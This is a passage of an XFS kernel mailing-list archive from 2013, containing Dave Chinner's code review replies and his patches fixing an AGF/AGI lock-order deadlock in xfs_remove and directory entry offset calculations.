DE2A37F37 for ; Sun, 29 Sep 2013 17:35:26 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CB7FD304039 for ; Sun, 29 Sep 2013 15:35:23 -0700 (PDT) X-ASG-Debug-ID: 1380494121-04cb6c35012108e0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id t58tFYW2IWy0EFi3 for ; Sun, 29 Sep 2013 15:35:22 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av4GAGmqSFJ5LCC0/2dsb2JhbABagwe8RoU7gR8XdIIlAQEEATocIwULCAMVAwklDwUlAyETiAAFu2EWjzsHgx+BAwOXfoo6h0CDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 08:05:14 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VQPa3-0005sl-K2; Mon, 30 Sep 2013 08:35:11 +1000 Date: Mon, 30 Sep 2013 08:35:11 +1000 From: Dave Chinner To: Jeff Liu Cc: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: get rid of count from xfs_iomap_write_allocate() Message-ID: <20130929223511.GF26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: get rid of count from xfs_iomap_write_allocate() References: <52480744.10606@oracle.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52480744.10606@oracle.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380494121 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Sep 29, 2013 at 06:56:04PM +0800, Jeff Liu wrote: > From: Jie Liu > > Get rid of function variable count from xfs_iomap_write_allocate() as > it is unused. > > Additionally, checkpatch warn me of the following for this change: > WARNING: extern prototypes should be avoided in .h files > +extern int xfs_iomap_write_allocate(struct xfs_inode *, xfs_off_t, Bah, checkpatch should be considered harmful when run on code that has been around for years. It's a good guide for new code, but... $ git grep extern fs/xfs/xfs*h |wc -l 345 $ git grep extern include/linux/*h |wc -l 6878 $ .... and the rule of "consistent with existing coding style" when adding code to existing files generally trumps any "style errors" that checkpatch might warn about. > So this patch also remove all extern function prototypes at xfs_iomap.h > to suppress it to make this code style in consistent manner in this file. Anyway, it's a cleanup patch to begin with, and there's only a few of them, so it's not worth complaining about. Reviewed-by: Dave Chinner Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Sun Sep 29 18:06:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 611767F37 for ; Sun, 29 Sep 2013 18:06:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4EA6B8F8040 for ; Sun, 29 Sep 2013 16:06:45 -0700 (PDT) X-ASG-Debug-ID: 1380496000-04cb6c2e9f1594be0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id mrALTRNi8NwX6sd1 for ; Sun, 29 Sep 2013 16:06:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Av0GAHSxSFJ5LCC0/2dsb2JhbABagwe8RoU7gR4XdIIlAQEEATocIwULCAMYCSUPBSUDIROIAAW7cxaPOweEIgOXfpF6gzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 08:36:40 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VQQ4U-0005wJ-9S; Mon, 30 Sep 2013 09:06:38 +1000 Date: Mon, 30 Sep 2013 09:06:38 +1000 From: Dave Chinner To: Li Zhong Cc: Eric Sandeen , xfsprogs Subject: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs Message-ID: <20130929230638.GG26872@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfsprogs: cleanup size/log setting flags of mkfs References: <1380272973.2836.5.camel@ThinkPad-T5421> <5245C07A.3000700@sandeen.net> <1380437441.3811.9.camel@ThinkPad-T5421> <1380445971.3811.14.camel@ThinkPad-T5421> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1380445971.3811.14.camel@ThinkPad-T5421> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380496000 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Sep 29, 2013 at 05:12:51PM +0800, Li Zhong wrote: > As Eric suggested, we could set both of the size/log flags after we have > parsed the options - and from there on it simply means "manually set". > > After that, we could use just one flag, e.g. *sflag, to check whether > the corresponding value is manually set or not. It's a start, but I'm not sure that it is an improvement or not. i.e. you're adding yet another piece of logic to the already tortured argument parsing and flag setting. This could be done in the argument parsing itself, without needing separate post-processing code. e.g. changing the parsing code like so: case N_LOG: if (!value || *value == '\0') reqval('n', nopts, N_LOG); - if (nlflag) + if (nlflag > 1) respec('n', nopts, N_LOG); if (nsflag) conflict('n', nopts, N_SIZE, N_LOG); + nlflag = 2; dirblocklog = atoi(value); if (dirblocklog <= 0) illegal(value, "n log"); + nsflag = 1; dirblocksize = 1 << dirblocklog; - nlflag = 1; break; Would acheive exactly the same thing - i.e. a value of 1 means it was initialised, a value of 2 means it was a command line parameter... This means the code checks can be cleaned up as you have done, but we don't need a separate post-processing step for the arguments to set flags that weren't set... > Signed-off-by: Li Zhong > --- > mkfs/xfs_mkfs.c | 29 ++++++++++++++++++++++------- > 1 file changed, 22 insertions(+), 7 deletions(-) > > diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c > index 34bf2ff..aa3f391 100644 > --- a/mkfs/xfs_mkfs.c > +++ b/mkfs/xfs_mkfs.c > @@ -1667,11 +1667,26 @@ main( > dfile = xi.dname; > > /* > + * Later code wants to know if the user manually set a value. > + * There are two ways to specify on the cmdline; as size or as a log. > + * if either was used, set both flags - from here on it simply means > + * "manually set" > + */ > + if (bsflag || blflag) > + bsflag = blflag = 1; > + if (ssflag || slflag) > + ssflag = slflag = 1; > + if (isflag || ilflag) > + isflag = ilflag = 1; > + if (nsflag || nlflag) > + nsflag = nlflag = 1; You missed the log sector size/log flags. Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Sun Sep 29 18:37:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 33A8B7F37 for ; Sun, 29 Sep 2013 18:37:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id EA1A8304032 for ; Sun, 29 Sep 2013 16:37:19 -0700 (PDT) X-ASG-Debug-ID: 1380497837-04bdf053876797d0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id FM7N3CuLR4qIW7k0 for ; Sun, 29 Sep 2013 16:37:17 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnoGALu4SFJ5LCC0/2dsb2JhbABSCIMHrXiVJxd0giUBAQUnLzMIGDE5AxsZiAW7co4UhWYDlCKOFodAgzYqgSwCAhwG Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 09:07:15 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQQY1-0005z8-Fe for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQQY1-0003WI-Et for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 3/4] xfs: xfs_remove deadlocks due to inverted AGF vs AGI lock ordering Date: Mon, 30 Sep 2013 09:37:05 +1000 X-ASG-Orig-Subj: [PATCH 3/4] xfs: xfs_remove deadlocks due to inverted AGF vs AGI lock ordering Message-Id: <1380497826-13474-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380497826-13474-1-git-send-email-david@fromorbit.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380497837 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Removing an inode from the namespace involves removing the directory entry and dropping the link count on the inode. Removing the directory entry can result in locking an AGF (directory blocks were freed) and removing a link count can result in placing the inode on an unlinked list which results in locking an AGI. The big problem here is that we have an ordering constraint on AGF and AGI locking - inode allocation locks the AGI, then can allocate a new extent for new inodes, locking the AGF after the AGI. Similarly, freeing the inode removes the inode from the unlinked list, requiring that we lock the AGI first, and then freeing the inode can result in an inode chunk being freed and hence freeing disk space requiring that we lock an AGF. Hence the ordering that is imposed by other parts of the code is AGI before AGF. This means we cannot remove the directory entry before we drop the inode reference count and put it on the unlinked list as this results in a lock order of AGF then AGI, and this can deadlock against inode allocation and freeing. Therefore we must drop the link counts before we remove the directory entry. This is still safe from a transactional point of view - it is not until we get to xfs_bmap_finish() that we have the possibility of multiple transactions in this operation. Hence as long as we remove the directory entry and drop the link count in the first transaction of the remove operation, there are no transactional constraints on the ordering here. Change the ordering of the operations in the xfs_remove() function to align the ordering of AGI and AGF locking to match that of the rest of the code. Signed-off-by: Dave Chinner --- fs/xfs/xfs_inode.c | 72 +++++++++++++++++++++++++++++++++--------------------- 1 file changed, 44 insertions(+), 28 deletions(-) diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index e3d7538..7a460d8 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2370,6 +2370,33 @@ xfs_iunpin_wait( __xfs_iunpin_wait(ip); } +/* + * Removing an inode from the namespace involves removing the directory entry + * and dropping the link count on the inode. Removing the directory entry can + * result in locking an AGF (directory blocks were freed) and removing a link + * count can result in placing the inode on an unlinked list which results in + * locking an AGI. + * + * The big problem here is that we have an ordering constraint on AGF and AGI + * locking - inode allocation locks the AGI, then can allocate a new extent for + * new inodes, locking the AGF after the AGI. Similarly, freeing the inode + * removes the inode from the unlinked list, requiring that we lock the AGI + * first, and then freeing the inode can result in an inode chunk being freed + * and hence freeing disk space requiring that we lock an AGF. + * + * Hence the ordering that is imposed by other parts of the code is AGI before + * AGF. This means we cannot remove the directory entry before we drop the inode + * reference count and put it on the unlinked list as this results in a lock + * order of AGF then AGI, and this can deadlock against inode allocation and + * freeing. Therefore we must drop the link counts before we remove the + * directory entry. + * + * This is still safe from a transactional point of view - it is not until we + * get to xfs_bmap_finish() that we have the possibility of multiple + * transactions in this operation. Hence as long as we remove the directory + * entry and drop the link count in the first transaction of the remove + * operation, there are no transactional constraints on the ordering here. + */ int xfs_remove( xfs_inode_t *dp, @@ -2439,6 +2466,7 @@ xfs_remove( /* * If we're removing a directory perform some additional validation. */ + cancel_flags |= XFS_TRANS_ABORT; if (is_dir) { ASSERT(ip->i_d.di_nlink >= 2); if (ip->i_d.di_nlink != 2) { @@ -2449,31 +2477,16 @@ xfs_remove( error = XFS_ERROR(ENOTEMPTY); goto out_trans_cancel; } - } - xfs_bmap_init(&free_list, &first_block); - error = xfs_dir_removename(tp, dp, name, ip->i_ino, - &first_block, &free_list, resblks); - if (error) { - ASSERT(error != ENOENT); - goto out_bmap_cancel; - } - xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - - if (is_dir) { - /* - * Drop the link from ip's "..". - */ + /* Drop the link from ip's "..". */ error = xfs_droplink(tp, dp); if (error) - goto out_bmap_cancel; + goto out_trans_cancel; - /* - * Drop the "." link from ip to self. - */ + /* Drop the "." link from ip to self. */ error = xfs_droplink(tp, ip); if (error) - goto out_bmap_cancel; + goto out_trans_cancel; } else { /* * When removing a non-directory we need to log the parent @@ -2482,20 +2495,24 @@ xfs_remove( */ xfs_trans_log_inode(tp, dp, XFS_ILOG_CORE); } + xfs_trans_ichgtime(tp, dp, XFS_ICHGTIME_MOD | XFS_ICHGTIME_CHG); - /* - * Drop the link from dp to ip. - */ + /* Drop the link from dp to ip. */ error = xfs_droplink(tp, ip); if (error) - goto out_bmap_cancel; + goto out_trans_cancel; - /* - * Determine if this is the last link while - * we are in the transaction. - */ + /* Determine if this is the last link while the inode is locked */ link_zero = (ip->i_d.di_nlink == 0); + xfs_bmap_init(&free_list, &first_block); + error = xfs_dir_removename(tp, dp, name, ip->i_ino, + &first_block, &free_list, resblks); + if (error) { + ASSERT(error != ENOENT); + goto out_bmap_cancel; + } + /* * If this is a synchronous mount, make sure that the * remove transaction goes to disk before returning to @@ -2525,7 +2542,6 @@ xfs_remove( out_bmap_cancel: xfs_bmap_cancel(&free_list); - cancel_flags |= XFS_TRANS_ABORT; out_trans_cancel: xfs_trans_cancel(tp, cancel_flags); std_return: -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 18:37:20 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DF5FF7F37 for ; Sun, 29 Sep 2013 18:37:20 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id BDF07304032 for ; Sun, 29 Sep 2013 16:37:17 -0700 (PDT) X-ASG-Debug-ID: 1380497835-04bdf02f2215e8030001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id KO2zcyFESuS2BdfG for ; Sun, 29 Sep 2013 16:37:16 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnkGALu4SFJ5LCC0/2dsb2JhbABagweteJUnF3SDAjuBAgOIOZproQeOGoFUhAwDqXiDNiqBLQ Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 09:07:15 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQQY1-0005z5-EF for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQQY1-0003W5-D5 for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/4] xfs: candidate fixes for 3.12-rc4 Date: Mon, 30 Sep 2013 09:37:02 +1000 X-ASG-Orig-Subj: [PATCH 0/4] xfs: candidate fixes for 3.12-rc4 Message-Id: <1380497826-13474-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380497835 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The first two patches are regressions and hence -rc4 candidates - the first patch fixes a lockdep false positive as a result of adding the third quota inode, and the second fixes a on-disk format interpretation problem in the v4 superblock dtype-in-dirent feature. The third patch fixes the AGF vs AGI lock inversion problem I reported a short while ago, and the last reduces the overhead of atomic version change accounting. These two aren't critical fixes, but would be nice to have out there for 3.12. Cheers, Dave. From dave@fromorbit.com Sun Sep 29 18:37:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 685657F37 for ; Sun, 29 Sep 2013 18:37:21 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 55FAD304032 for ; Sun, 29 Sep 2013 16:37:21 -0700 (PDT) X-ASG-Debug-ID: 1380497838-04cbb02c3c15896f0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id P4gDzjA4mBKxrJZj for ; Sun, 29 Sep 2013 16:37:19 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AnoGALu4SFJ5LCC0/2dsb2JhbABagweteJUnF3SCJQEBBScvMwgYMTkDGxmIBbtyk3oDqXiDNio Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 09:07:15 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQQY1-0005z7-FF for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQQY1-0003WD-ES for xfs@oss.sgi.com; Mon, 30 Sep 2013 09:37:09 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/4] xfs: dirent dtype presence is dependent on directory magic numbers Date: Mon, 30 Sep 2013 09:37:04 +1000 X-ASG-Orig-Subj: [PATCH 2/4] xfs: dirent dtype presence is dependent on directory magic numbers Message-Id: <1380497826-13474-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380497826-13474-1-git-send-email-david@fromorbit.com> References: <1380497826-13474-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380497838 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141039 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner The determination of whether a directory entry contains a dtype field originally was dependent on the filesystem having CRCs enabled. This meant that the format for dtype beign enabled could be determined by checking the directory block magic number rather than doing a feature bit check. This was useful in that it meant that we didn't need to pass a struct xfs_mount around to functions that were already supplied with a directory block header. Unfortunately, the introduction of dtype fields into the v4 structure via a feature bit meant this "use the directory block magic number" method of discriminating the dirent entry sizes is broken. Hence we need to convert the places that use magic number checks to use feature bit checks so that they work correctly and not by chance. The current code works on v4 filesystems only because the dirent size roundup covers the extra byte needed by the dtype field in the places where this problem occurs. Signed-off-by: Dave Chinner --- fs/xfs/xfs_dir2_block.c | 6 +++--- fs/xfs/xfs_dir2_format.h | 51 +++++++++++++++++++---------------------------- fs/xfs/xfs_dir2_readdir.c | 4 ++-- fs/xfs/xfs_dir2_sf.c | 6 +++--- 4 files changed, 28 insertions(+), 39 deletions(-) diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 0957aa9..12dad18 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -1158,7 +1158,7 @@ xfs_dir2_sf_to_block( /* * Create entry for . */ - dep = xfs_dir3_data_dot_entry_p(hdr); + dep = xfs_dir3_data_dot_entry_p(mp, hdr); dep->inumber = cpu_to_be64(dp->i_ino); dep->namelen = 1; dep->name[0] = '.'; @@ -1172,7 +1172,7 @@ xfs_dir2_sf_to_block( /* * Create entry for .. */ - dep = xfs_dir3_data_dotdot_entry_p(hdr); + dep = xfs_dir3_data_dotdot_entry_p(mp, hdr); dep->inumber = cpu_to_be64(xfs_dir2_sf_get_parent_ino(sfp)); dep->namelen = 2; dep->name[0] = dep->name[1] = '.'; @@ -1183,7 +1183,7 @@ xfs_dir2_sf_to_block( blp[1].hashval = cpu_to_be32(xfs_dir_hash_dotdot); blp[1].address = cpu_to_be32(xfs_dir2_byte_to_dataptr(mp, (char *)dep - (char *)hdr)); - offset = xfs_dir3_data_first_offset(hdr); + offset = xfs_dir3_data_first_offset(mp); /* * Loop over existing entries, stuff them in. */ diff --git a/fs/xfs/xfs_dir2_format.h b/fs/xfs/xfs_dir2_format.h index a0961a6..9cf6738 100644 --- a/fs/xfs/xfs_dir2_format.h +++ b/fs/xfs/xfs_dir2_format.h @@ -497,69 +497,58 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) /* * Offsets of . and .. in data space (always block 0) * - * The macros are used for shortform directories as they have no headers to read - * the magic number out of. Shortform directories need to know the size of the - * data block header because the sfe embeds the block offset of the entry into - * it so that it doesn't change when format conversion occurs. Bad Things Happen - * if we don't follow this rule. - * * XXX: there is scope for significant optimisation of the logic here. Right * now we are checking for "dir3 format" over and over again. Ideally we should * only do it once for each operation. */ -#define XFS_DIR3_DATA_DOT_OFFSET(mp) \ - xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) -#define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) -#define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) - static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dot_offset(struct xfs_mount *mp) { - return xfs_dir3_data_entry_offset(hdr); + return xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); } static inline xfs_dir2_data_aoff_t -xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dotdot_offset(struct xfs_mount *mp) { - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 1); + return xfs_dir3_data_dot_offset(mp) + + xfs_dir3_data_entsize(mp, 1); } static inline xfs_dir2_data_aoff_t -xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_first_offset(struct xfs_mount *mp) { - bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || - hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); - return xfs_dir3_data_dotdot_offset(hdr) + - __xfs_dir3_data_entsize(dir3, 2); + return xfs_dir3_data_dotdot_offset(mp) + + xfs_dir3_data_entsize(mp, 2); } /* * location of . and .. in data space (always block 0) */ static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dot_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dot_offset(hdr)); + ((char *)hdr + xfs_dir3_data_dot_offset(mp)); } static inline struct xfs_dir2_data_entry * -xfs_dir3_data_dotdot_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_dotdot_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_dotdot_offset(hdr)); + ((char *)hdr + xfs_dir3_data_dotdot_offset(mp)); } static inline struct xfs_dir2_data_entry * -xfs_dir3_data_first_entry_p(struct xfs_dir2_data_hdr *hdr) +xfs_dir3_data_first_entry_p( + struct xfs_mount *mp, + struct xfs_dir2_data_hdr *hdr) { return (struct xfs_dir2_data_entry *) - ((char *)hdr + xfs_dir3_data_first_offset(hdr)); + ((char *)hdr + xfs_dir3_data_first_offset(mp)); } /* diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index 8993ec1..8f84153 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -119,9 +119,9 @@ xfs_dir2_sf_getdents( * mp->m_dirdatablk. */ dot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - XFS_DIR3_DATA_DOT_OFFSET(mp)); + xfs_dir3_data_dot_offset(mp)); dotdot_offset = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, - XFS_DIR3_DATA_DOTDOT_OFFSET(mp)); + xfs_dir3_data_dotdot_offset(mp)); /* * Put . entry unless we're starting past it. diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index bb6e284..3ef6d40 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -557,7 +557,7 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), + for (offset = xfs_dir3_data_first_offset(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; @@ -640,7 +640,7 @@ xfs_dir2_sf_addname_pick( sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; size = xfs_dir3_data_entsize(mp, args->namelen); - offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); + offset = xfs_dir3_data_first_offset(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; /* @@ -713,7 +713,7 @@ xfs_dir2_sf_check( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = 